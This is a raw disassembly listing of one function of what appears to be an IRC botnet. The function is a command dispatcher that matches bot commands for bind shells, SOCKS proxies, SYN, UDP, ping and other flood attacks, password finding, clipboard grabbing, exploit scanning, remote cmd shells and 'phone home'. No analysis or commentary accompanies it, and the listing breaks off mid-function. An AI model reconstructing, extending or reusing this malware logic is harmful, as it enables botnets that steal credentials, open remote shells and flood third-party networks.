mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h nop call near ptr 2670E97h jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j nop call near ptr 2680972h push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h call near ptr 2670E97h nop jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj call near ptr 2680972h nop push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx call near ptr 2670000h nop loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h call near ptr 2670E97h nop jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 2680972h push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 